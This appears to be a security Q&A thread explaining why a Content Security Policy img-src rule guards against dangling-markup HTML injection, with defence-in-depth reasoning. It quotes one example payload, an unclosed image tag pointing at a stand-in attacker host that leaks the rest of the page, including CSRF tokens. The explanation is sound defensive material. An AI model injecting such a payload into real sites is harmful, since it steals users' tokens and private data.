Why is CSP needed to protect against img-src leak?

Just to be clear about how the attack works:

  • A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
  • Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
  • Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-site.com that Mallory controls.

How does it differ from pressing page-source on the page and sending the content manually.

You view the source on your computer, generated with your credentials, so it does not contain anything that is secret from you. The point of the attack discussed in the blog post is to "steal" the source from someone else (by injecting HTML) so you can read their secrets.

If it is just for pages where users can insert input, don't we have to prevent only those issues on inputs by adding validations to the input?

Yes, we need to do that even if we implement a CSP. But humans are fallible creatures and we might make mistakes. Having a CSP that stops this kind of attack might therefore be good as defence in depth.

Not prevent img src of other sources in all the code?

If you don't want to allow images from arbitrary domains anyway it might be good to whitelist the domains you do want to allow images from and block everything else. Again, you should have other kinds of protections against this, but it never hurts to have a backup.


If a user presses "View Source" and sends data manually, that's their choice, and nothing the site does will prevent it. However, CSP configurations are generally part of a defense in depth strategy - they prevent bad things happening, even if something goes wrong.

In this case, they will be attempting to eliminate any input validation errors, but it's really easy to make a mistake or miss an edge case, especially where you want to allow user content. If that works, the CSP rules will never kick in. If they make a mistake, though, then the CSP restrictions start to apply.

This specific rule is aiming to prevent a malicious user from being able to include content which can exfiltrate data on a page viewed by a legitimate user. In other words, if they can put a tag on a page viewed by others, they'd be able to get user specific CSRF tokens, session tokens or personal details. With the CSP rule in place, though, the legitimate user's browser knows that only the specified domains should be used for images, and won't even try load them from any other domain.

It's a bit like having an alarm in your house, even when you lock the doors and windows. If the locks are perfect, you should never need it, but sometimes people make a mistake and forget to lock a window when going out, in which case, the alarm helps minimise the damage.